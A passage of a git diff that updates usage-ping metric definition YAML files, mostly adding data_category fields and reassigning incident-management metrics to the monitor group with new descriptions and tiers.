diff --git a/config/metrics/counts_28d/20210216175556_ci_triggers.yml b/config/metrics/counts_28d/20210216175556_ci_triggers.yml
index 81be64c5207..c02acdfeed6 100644
--- a/config/metrics/counts_28d/20210216175556_ci_triggers.yml
+++ b/config/metrics/counts_28d/20210216175556_ci_triggers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.ci_triggers
description: Total configured Triggers in project
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175616_user_dast_jobs.yml b/config/metrics/counts_28d/20210216175616_user_dast_jobs.yml
index a8b2cbc40dc..6b6503e8c34 100644
--- a/config/metrics/counts_28d/20210216175616_user_dast_jobs.yml
+++ b/config/metrics/counts_28d/20210216175616_user_dast_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.user_dast_jobs
description: Users who run a DAST job
product_section: sec
diff --git a/config/metrics/counts_28d/20210216175618_dast_pipeline.yml b/config/metrics/counts_28d/20210216175618_dast_pipeline.yml
index f4a110f8ca4..a6c78293691 100644
--- a/config/metrics/counts_28d/20210216175618_dast_pipeline.yml
+++ b/config/metrics/counts_28d/20210216175618_dast_pipeline.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.dast_pipeline
description: Count of pipelines that have at least 1 DAST job
product_section: sec
diff --git a/config/metrics/counts_28d/20210216180308_personal_snippets.yml b/config/metrics/counts_28d/20210216180308_personal_snippets.yml
index f38ccc5280d..b36c6eddc02 100644
--- a/config/metrics/counts_28d/20210216180308_personal_snippets.yml
+++ b/config/metrics/counts_28d/20210216180308_personal_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.personal_snippets
description: Monthly count of personal Snippets
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180310_project_snippets.yml b/config/metrics/counts_28d/20210216180310_project_snippets.yml
index 2c397a3150e..c2b9edd4ece 100644
--- a/config/metrics/counts_28d/20210216180310_project_snippets.yml
+++ b/config/metrics/counts_28d/20210216180310_project_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.project_snippets
description: Monthly count of project Snippets
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180312_snippets.yml b/config/metrics/counts_28d/20210216180312_snippets.yml
index 00498c8ad0a..1d8b2e3725b 100644
--- a/config/metrics/counts_28d/20210216180312_snippets.yml
+++ b/config/metrics/counts_28d/20210216180312_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.snippets
description: Monthly count of All Snippets
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180317_snippets.yml b/config/metrics/counts_28d/20210216180317_snippets.yml
index 0e36236b80d..169b79e7316 100644
--- a/config/metrics/counts_28d/20210216180317_snippets.yml
+++ b/config/metrics/counts_28d/20210216180317_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.snippets
name: count_distinct_author_id_from_snippets
description: Count of distinct author_id from snippets for last 28 days
diff --git a/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml b/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml
index 3143da2317f..d66a7c0a63c 100644
--- a/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml
+++ b/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_web_ide_edit
description: Number of users editing using web IDE
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml b/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml
index b9a06a05a5a..df023578215 100644
--- a/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml
+++ b/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_sfe_edit
description: Number of users using single file editor
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml b/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml
index 6fec0659d47..164128a6307 100644
--- a/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml
+++ b/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_snippet_editor_edit
description: Number of users using the snippet editor
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml b/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml
index 86cb28d7237..e9e408bb1f6 100644
--- a/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml
+++ b/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_sse_edit
description: Number of users using the static site editor
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml b/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml
index bf71c3aa9f0..3d123932ab2 100644
--- a/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml
+++ b/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_ide_edit
description: Number of unique users per month who edited a file from any web editor
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml b/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml
index 50ad1360d8d..ab1d9994162 100644
--- a/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml
+++ b/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_web_ide_monthly
description: Number of users editing a file from the Web IDE
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml b/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml
index 8c53d1a39c0..9ae8b537651 100644
--- a/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml
+++ b/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_sfe_monthly
description: Number of users editing a file from the single file editor
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml b/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml
index d9735e35895..ba83d1d3ae1 100644
--- a/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml
+++ b/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_snippet_ide_monthly
description: Count of monthly edits to a snippet
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml
index 176f0e3ffe1..4dab922fe4b 100644
--- a/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.ide_edit_total_unique_counts_monthly
description: Count of unique users per month who edited a file from the Web IDE
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180355_user_api_fuzzing_jobs.yml b/config/metrics/counts_28d/20210216180355_user_api_fuzzing_jobs.yml
index ce748ad1967..aa02ce01a0d 100644
--- a/config/metrics/counts_28d/20210216180355_user_api_fuzzing_jobs.yml
+++ b/config/metrics/counts_28d/20210216180355_user_api_fuzzing_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.user_api_fuzzing_jobs
description: Count of API Fuzzing jobs by job name
product_section: sec
diff --git a/config/metrics/counts_28d/20210216180357_user_api_fuzzing_dnd_jobs.yml b/config/metrics/counts_28d/20210216180357_user_api_fuzzing_dnd_jobs.yml
index 59dfb493448..14d7fa1f83d 100644
--- a/config/metrics/counts_28d/20210216180357_user_api_fuzzing_dnd_jobs.yml
+++ b/config/metrics/counts_28d/20210216180357_user_api_fuzzing_dnd_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.user_api_fuzzing_dnd_jobs
description: Count of API Fuzzing `docker-in-docker` jobs by job names
product_section: sec
diff --git a/config/metrics/counts_28d/20210216180424_i_search_total_monthly.yml b/config/metrics/counts_28d/20210216180424_i_search_total_monthly.yml
index a50b42d1dba..d678e6c3c91 100644
--- a/config/metrics/counts_28d/20210216180424_i_search_total_monthly.yml
+++ b/config/metrics/counts_28d/20210216180424_i_search_total_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.search.i_search_total_monthly
description: Calculated unique users to perform Basic or Advanced searches by month
product_section: enablement
diff --git a/config/metrics/counts_28d/20210216180431_search_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216180431_search_total_unique_counts_monthly.yml
index fe328b771f6..ec39054bffb 100644
--- a/config/metrics/counts_28d/20210216180431_search_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216180431_search_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.search.search_total_unique_counts_monthly
description: Total unique users for i_search_total, i_search_advanced, i_search_paid for recent 28 days. This metric is redundant because advanced will be a subset of paid and paid will be a subset of total. i_search_total is more appropriate if you just want the total
product_section: enablement
diff --git a/config/metrics/counts_28d/20210216180509_incident_management_alerts_total_unique_counts.yml b/config/metrics/counts_28d/20210216180509_incident_management_alerts_total_unique_counts.yml
index 23c3f0fcb3f..0d784481951 100644
--- a/config/metrics/counts_28d/20210216180509_incident_management_alerts_total_unique_counts.yml
+++ b/config/metrics/counts_28d/20210216180509_incident_management_alerts_total_unique_counts.yml
@@ -1,16 +1,19 @@
---
+data_category: Optional
key_path: counts_monthly.aggregated_metrics.incident_management_alerts_total_unique_counts
description: Count of unique users per month to take an action on an alert
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
time_frame: 28d
-data_source: database
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180511_incident_management_incidents_total_unique_counts.yml b/config/metrics/counts_28d/20210216180511_incident_management_incidents_total_unique_counts.yml
index 9d935a654e3..58fd23391b0 100644
--- a/config/metrics/counts_28d/20210216180511_incident_management_incidents_total_unique_counts.yml
+++ b/config/metrics/counts_28d/20210216180511_incident_management_incidents_total_unique_counts.yml
@@ -1,16 +1,19 @@
---
+data_category: Optional
key_path: counts_monthly.aggregated_metrics.incident_management_incidents_total_unique_counts
description: Count of unique users per month to take an action on an incident
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
time_frame: 28d
-data_source: database
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180524_projects_with_incidents.yml b/config/metrics/counts_28d/20210216180524_projects_with_incidents.yml
index 15ebaa81855..3046bf5f8a8 100644
--- a/config/metrics/counts_28d/20210216180524_projects_with_incidents.yml
+++ b/config/metrics/counts_28d/20210216180524_projects_with_incidents.yml
@@ -1,16 +1,19 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.projects_with_incidents
description: 'Count of unique projects with an incident created in the last month'
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180526_projects_with_alert_incidents.yml b/config/metrics/counts_28d/20210216180526_projects_with_alert_incidents.yml
index 3559638afb6..3ac5ec37317 100644
--- a/config/metrics/counts_28d/20210216180526_projects_with_alert_incidents.yml
+++ b/config/metrics/counts_28d/20210216180526_projects_with_alert_incidents.yml
@@ -1,17 +1,20 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.projects_with_alert_incidents
description: 'Count of unique projects with an incident from an alert created in the
last month'
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180530_incident_management_alert_status_changed_monthly.yml b/config/metrics/counts_28d/20210216180530_incident_management_alert_status_changed_monthly.yml
index 8100c8f6d86..7cf04627875 100644
--- a/config/metrics/counts_28d/20210216180530_incident_management_alert_status_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216180530_incident_management_alert_status_changed_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_alert_status_changed_monthly
-description:
+description: Count of unique users changing alert's status changes per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180533_incident_management_alert_assigned_monthly.yml b/config/metrics/counts_28d/20210216180533_incident_management_alert_assigned_monthly.yml
index abd26612688..46bdc9602c2 100644
--- a/config/metrics/counts_28d/20210216180533_incident_management_alert_assigned_monthly.yml
+++ b/config/metrics/counts_28d/20210216180533_incident_management_alert_assigned_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_alert_assigned_monthly
-description:
+description: Count of unique users assigning an alert per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180537_incident_management_alert_todo_monthly.yml b/config/metrics/counts_28d/20210216180537_incident_management_alert_todo_monthly.yml
index a7f176028fa..ad9fd3debb6 100644
--- a/config/metrics/counts_28d/20210216180537_incident_management_alert_todo_monthly.yml
+++ b/config/metrics/counts_28d/20210216180537_incident_management_alert_todo_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_alert_todo_monthly
-description:
+description: Count of unique users adding alerts to the TODO list per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180541_incident_management_incident_created_monthly.yml b/config/metrics/counts_28d/20210216180541_incident_management_incident_created_monthly.yml
index 4a130cab39c..eb9a25a1b93 100644
--- a/config/metrics/counts_28d/20210216180541_incident_management_incident_created_monthly.yml
+++ b/config/metrics/counts_28d/20210216180541_incident_management_incident_created_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_created_monthly
-description:
+description: Count of unique users creating incidents per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180545_incident_management_incident_reopened_monthly.yml b/config/metrics/counts_28d/20210216180545_incident_management_incident_reopened_monthly.yml
index 5509c6b492f..6a541dd5166 100644
--- a/config/metrics/counts_28d/20210216180545_incident_management_incident_reopened_monthly.yml
+++ b/config/metrics/counts_28d/20210216180545_incident_management_incident_reopened_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_reopened_monthly
-description:
+description: Count of unique users reopening incidents per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180548_incident_management_incident_closed_monthly.yml b/config/metrics/counts_28d/20210216180548_incident_management_incident_closed_monthly.yml
index 5475fc5c2b6..1284cb547dc 100644
--- a/config/metrics/counts_28d/20210216180548_incident_management_incident_closed_monthly.yml
+++ b/config/metrics/counts_28d/20210216180548_incident_management_incident_closed_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_closed_monthly
-description:
+description: Count of users closing incidents per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180552_incident_management_incident_assigned_monthly.yml b/config/metrics/counts_28d/20210216180552_incident_management_incident_assigned_monthly.yml
index 74566b19180..02493515a11 100644
--- a/config/metrics/counts_28d/20210216180552_incident_management_incident_assigned_monthly.yml
+++ b/config/metrics/counts_28d/20210216180552_incident_management_incident_assigned_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_assigned_monthly
-description:
+description: Count of users assigning incidents per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180556_incident_management_incident_todo_monthly.yml b/config/metrics/counts_28d/20210216180556_incident_management_incident_todo_monthly.yml
index 62614850622..109b5af6c99 100644
--- a/config/metrics/counts_28d/20210216180556_incident_management_incident_todo_monthly.yml
+++ b/config/metrics/counts_28d/20210216180556_incident_management_incident_todo_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_todo_monthly
-description:
+description: Count of unique users adding incidents to the TODO list per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180559_incident_management_incident_comment_monthly.yml b/config/metrics/counts_28d/20210216180559_incident_management_incident_comment_monthly.yml
index fe3e71ddea2..8e1346916fe 100644
--- a/config/metrics/counts_28d/20210216180559_incident_management_incident_comment_monthly.yml
+++ b/config/metrics/counts_28d/20210216180559_incident_management_incident_comment_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_comment_monthly
-description:
+description: Count of unique users adding comments per month on incidents
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180603_incident_management_incident_zoom_meeting_monthly.yml b/config/metrics/counts_28d/20210216180603_incident_management_incident_zoom_meeting_monthly.yml
new file mode 100644
index 00000000000..e64e09f1abb
--- /dev/null
+++ b/config/metrics/counts_28d/20210216180603_incident_management_incident_zoom_meeting_monthly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_zoom_meeting_monthly
+description: Count of users creating Zoom meetings about incidents per month
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 28d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180607_incident_management_incident_published_monthly.yml b/config/metrics/counts_28d/20210216180607_incident_management_incident_published_monthly.yml
deleted file mode 100644
index 3cd2c435074..00000000000
--- a/config/metrics/counts_28d/20210216180607_incident_management_incident_published_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.incident_management.incident_management_incident_published_monthly
-description:
-product_section: ops
-product_stage: monitor
-product_group: group::health
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216180611_incident_management_incident_relate_monthly.yml b/config/metrics/counts_28d/20210216180611_incident_management_incident_relate_monthly.yml
index b8b765b5790..d5913791a60 100644
--- a/config/metrics/counts_28d/20210216180611_incident_management_incident_relate_monthly.yml
+++ b/config/metrics/counts_28d/20210216180611_incident_management_incident_relate_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_relate_monthly
-description:
+description: Count of unique users adding issues per month that are related to an incident
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180614_incident_management_incident_unrelate_monthly.yml b/config/metrics/counts_28d/20210216180614_incident_management_incident_unrelate_monthly.yml
index e1a52b294fc..f59613a2723 100644
--- a/config/metrics/counts_28d/20210216180614_incident_management_incident_unrelate_monthly.yml
+++ b/config/metrics/counts_28d/20210216180614_incident_management_incident_unrelate_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_unrelate_monthly
-description:
+description: Count of users removing issues that are related to an incident per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180618_incident_management_incident_change_confidential_monthly.yml b/config/metrics/counts_28d/20210216180618_incident_management_incident_change_confidential_monthly.yml
index 04fe154338d..e2205dd7d35 100644
--- a/config/metrics/counts_28d/20210216180618_incident_management_incident_change_confidential_monthly.yml
+++ b/config/metrics/counts_28d/20210216180618_incident_management_incident_change_confidential_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management.incident_management_incident_change_confidential_monthly
-description:
+description: Count of users changing incidents to confidential per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180622_incident_management_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216180622_incident_management_total_unique_counts_monthly.yml
index 7cdeaa76e49..fe952b30f50 100644
--- a/config/metrics/counts_28d/20210216180622_incident_management_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216180622_incident_management_total_unique_counts_monthly.yml
@@ -1,9 +1,10 @@
---
+data_category: Operational
key_path: redis_hll_counters.incident_management.incident_management_total_unique_counts_monthly
-description:
+description: Count of unique users performing events related with incidents per month
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category:
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180625_incident_management_alert_create_incident_monthly.yml b/config/metrics/counts_28d/20210216180625_incident_management_alert_create_incident_monthly.yml
index 9dd091b74ea..3e24cb64d4f 100644
--- a/config/metrics/counts_28d/20210216180625_incident_management_alert_create_incident_monthly.yml
+++ b/config/metrics/counts_28d/20210216180625_incident_management_alert_create_incident_monthly.yml
@@ -1,10 +1,11 @@
---
+data_category: Optional
key_path: redis_hll_counters.incident_management_alerts.incident_management_alert_create_incident_monthly
description: Count of unique users per month to create an incident corresponding to
an alert
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -12,6 +13,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180731_projects_imported_from_github.yml b/config/metrics/counts_28d/20210216180731_projects_imported_from_github.yml
index 93f07c24057..da71196bce9 100644
--- a/config/metrics/counts_28d/20210216180731_projects_imported_from_github.yml
+++ b/config/metrics/counts_28d/20210216180731_projects_imported_from_github.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.projects_imported_from_github
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml b/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
index 15bf70a3adf..1468589281d 100644
--- a/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
+++ b/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_design_management
description: Monthly active users for design management
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml b/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml
index a513a18d1b5..fa650effab3 100644
--- a/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml
+++ b/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_wiki_repo
description: Unique monthly active users of the Wiki
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180814_events.yml b/config/metrics/counts_28d/20210216180814_events.yml
index a1d95f73716..745a3c0066a 100644
--- a/config/metrics/counts_28d/20210216180814_events.yml
+++ b/config/metrics/counts_28d/20210216180814_events.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.events
description:
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180816_groups.yml b/config/metrics/counts_28d/20210216180816_groups.yml
index 61cf815eae7..0ae86d09c13 100644
--- a/config/metrics/counts_28d/20210216180816_groups.yml
+++ b/config/metrics/counts_28d/20210216180816_groups.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.groups
description: Number of users who are group members for last 28 days
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180818_users_created.yml b/config/metrics/counts_28d/20210216180818_users_created.yml
index b0212fb3d01..40e881638bb 100644
--- a/config/metrics/counts_28d/20210216180818_users_created.yml
+++ b/config/metrics/counts_28d/20210216180818_users_created.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.users_created
description: Number of users created in the month
product_section: dev
diff --git a/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml b/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml
index 116e7c1c816..aa0191ff47f 100644
--- a/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml
+++ b/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.configure.projects_with_prometheus_alerts
description: Projects with Prometheus alerting enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216180956_clusters.yml b/config/metrics/counts_28d/20210216180956_clusters.yml
index c33a588fed8..2fb39849c11 100644
--- a/config/metrics/counts_28d/20210216180956_clusters.yml
+++ b/config/metrics/counts_28d/20210216180956_clusters.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.monitor.clusters
description: Count users creating clusters in last 28 days.
product_section: ops
diff --git a/config/metrics/counts_28d/20210216180958_clusters_applications_prometheus.yml b/config/metrics/counts_28d/20210216180958_clusters_applications_prometheus.yml
index 5f2a94cc3ea..ef305404ad1 100644
--- a/config/metrics/counts_28d/20210216180958_clusters_applications_prometheus.yml
